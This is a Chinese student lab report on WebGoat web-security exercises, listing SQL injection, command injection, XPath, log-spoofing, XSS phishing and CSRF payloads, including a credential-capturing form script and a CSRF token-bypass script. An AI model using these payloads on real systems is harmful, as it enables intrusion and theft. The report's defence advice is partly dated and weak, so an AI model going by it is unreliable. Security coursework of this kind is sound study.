EXP9 Web安全基礎實踐
EXP9 Web安全基礎實踐
基礎問題回答
1.SQL註入攻擊原理,如何防禦?
原理:SQL註入是一種將SQL代碼添加到輸入參數中,傳遞到服務器解析並執行的一種攻擊手法。SQL註入攻擊是輸入參數未經過濾,然後直接拼接到SQL語句當中解析,執行達到預想之外的一種行為,簡單來說就是讓應用運行本不應該運行的SQL代碼。
防禦:
1.對輸入的數據進行過濾,過濾掉敏感字符。加密數據庫。
2.在PHP配置文件中Register_globals=off;設置為關閉狀態,作用將註冊全局變量關閉。
3.提高數據庫命名技巧,對於一些重要的字段根據程序的特點命名,取不易被猜到的
4.開啟PHP安全模式Safe_mode=on;
2.XSS攻擊的原理,如何防禦?
原理:攻擊者利用網站漏洞,輸入可以顯示在頁面上的、對其他用戶造成影響的HTML代碼;由於受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被註入惡意腳本的頁面後,這段惡意腳本可以順利執行,實現獲取用戶cookie並可以利用用戶身份進行非法操作的目的。
防禦:
在服務器段限制輸入格式,輸入類型,輸入長度以及輸入字符
要註意避免使用一些有潛在危險的html標簽,這些標簽很容易嵌入一些惡意網頁代碼。
3.CSRF攻擊原理,如何防禦?
什麽是CSRF:CSRF(Cross-site request forgery)跨站請求偽造,是一種對網站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。
原理:通過偽裝來自受信任用戶的請求來利用受信任的網站。是一種依賴web瀏覽器的、被混淆過的代理人攻擊。
防禦:用戶在瀏覽其它站點前登出站點;在瀏覽器會話結束後清理瀏覽器的cookie;盡量不要在頁面的鏈接中暴露用戶隱私信息;避免全站通用的cookie,嚴格設置cookie的域。
實驗準備
- 安裝webgoat
1.打開的時候發現沒有安裝:
2.下載好後,將它放在home裏,開啟webgoat
3.當界面停留在上圖所示時,最小化不要關閉。打開瀏覽器,輸入localhost:8080/WebGoat
4.選擇默認賬號、密碼即可登陸成功
- 火狐瀏覽器firebug
1.安裝火狐瀏覽器(附上教程鏈接)
link
2.使用時,可以在頁面需要修改的地方右鍵打開
完成列表
實驗過程
Injection Flaws
1.Command Injection
在目標主機上執行系統命令.
在BackDoors.help旁邊加上
"& netstat -an & ipconfig"
.選中修改後的值再點view,可以看到命令被執行,出現系統網絡連接情況
2.Numeric SQL Injection
註入SQL字符串,使其可以查看所有天氣的數據。
利用firebug在任意一個值後面加上 or 1=1(永真)
點擊GO,就能看到所有天氣
3.Log Spoofing
我們輸入的用戶名會被追加到日誌文件中
在User Name文本框中輸入
,其中%0d是回車,%0a是換行符xxx%0d%0aLogin Succeeded for username:admin
攻擊成功
4.XPATH Injection
要求使用帳戶Mik/Test123,實現查看其他員工的數據
- 嘗試構造永真式
user name:gjt‘ or 1=1 or ‘a‘=‘a
password:gjt
- 成功
5.String SQL Injection
- 構造一個永真式“1”,那麽不管前面的WHERE是否成立都能執行,所以構造語句‘or 1=‘1,成功得到了全部的信用卡號
6.LAB: SQL Injection
Stage 1:String SQL Injection
使用String SQL註入來繞過身份驗證
修改password的最大程度8→100
- 以用戶Neville登錄,在密碼欄中輸入‘ or 1=1 --永真式進行SQL註入
成功
Stage 3:Numeric SQL Injection
先使用上一題的辦法登錄進Larry的賬戶
Boss的工資最高,所以把其中的value值改為
,這樣老板的信息就會被排到第一個101 or 1=1 order by salary desc --
點擊ViewProfile進去,即可查看老板的詳細信息
7.Database Backdoors
輸入註入語句:101; update employee set salary=10000,成功把該用戶的工資漲到了10000
再使用語句
101;CREATE TRIGGER yqhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userid = NEW.userid
創建一個後門,把表中所有的郵箱和用戶ID都設為我的。
8.Blind Numeric SQL Injection
-構造輸入語句
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) >
數值 );,根據返回的語句是否合法判斷pin值的範圍。
- 這裏使用二分法,確實有些費時費力,需要從2000,3000,2500,2250,2375,2313,2344,2360,2368,2364......一直試下去,最後確定值是2364,輸入2364後破解成功:
9.Blind String SQL Injection
- 1.輸入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) >‘z‘ );進行猜解,發現結果為Account number is valid,賬戶有效。
猜測是否是大寫字母
- 2.接下來依次猜測之後的字母
輸入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 2, 1) >‘h‘ );最後確定用戶名為Jill
Cross-Site Scripting (XSS)
1.Phishing with XSS
- 1.使用XSS和HTML插入制作一個釣魚網站,將其輸在search框中,代碼如下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
輸入後下拉網頁,會有用戶名和密碼的框出現,隨意輸入用戶名和密碼
成功
2.Reflected XSS Attacks
我們將帶有攻擊性的URL作為輸入源,比如
<script>alert("23320154329gjt");</script>
,就會彈出對話框
成功
3.Stored XSS Attacks
在信息框裏輸入
<script>alert("20154329gjt");</script>,
點擊提交之後,留言板上會出現這條信息的標題
點擊標題鏈接,攻擊成功
CSRF
1.Cross Site Request Forgery
在信息框內輸入(這句話的意思是將Funds即金錢轉到自己的賬戶裏),點擊提交之後可以看到信息
點擊標題鏈接,攻擊成功
2.CSRF Prompt By-Pass
在信息框輸入
<img src="attack?Screen=src值&menu=menu值&transferFunds=5000" width="1" height="1"> <img src="attack?Screen=src值&menu=menu值&transferFunds=confirm" width="1" height="1">
點擊標題鏈接,攻擊成功
3.CSRF Token By-Pass
- 在Title輸入:gjt
- 在Message輸入構造的代碼
<script>
var tokensuffix;
function readFrame1()
{
var frameDoc = document.getElementById("frame1").contentDocument;
var form = frameDoc.getElementsByTagName("form")[0];
tokensuffix = ‘&CSRFToken=‘ + form.CSRFToken.value;
loadFrame2();
}
function loadFrame2()
{
var testFrame = document.getElementById("frame2");
testFrame.src="attack?Screen=src值&menu=menu值&transferFunds=5000" + tokensuffix;
}
</script>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=main"
onload="readFrame1();"
id="frame1" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>
<iframe id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>
- 點擊Submit,然後在Message List裏點擊“CSRF Token By-Pass Attack”,如下圖所示:
實驗心得與體會
量的積累可以導致質變,確實是這樣,做第一個的時候還有點懵,做的多了慢慢就像打通了任督二脈,突然就懂了。XXS會利用站點內受信任的用戶來盜取數據,而CSRF則通過偽裝來自受信任用戶的請求來利用網站。Besides,網絡上所有的東西都是靠各種各樣的代碼運行起來的,SQL註入真的很機智啊,在此之前我從來不會想過,輸入用戶名的地方輸入了奇奇怪怪的東西會出現意想不到的結果。還有就是使用firebug修改網頁上的代碼,因為無知,所以我覺得很多實驗內容都很神奇。網絡對抗課為我打開了新世界的大門,雖然這個學期很快就要結束了,但是路漫漫其修遠兮,還有太多的東西需要了解、需要學習,想想還有點小激動。
EXP9 Web安全基礎實踐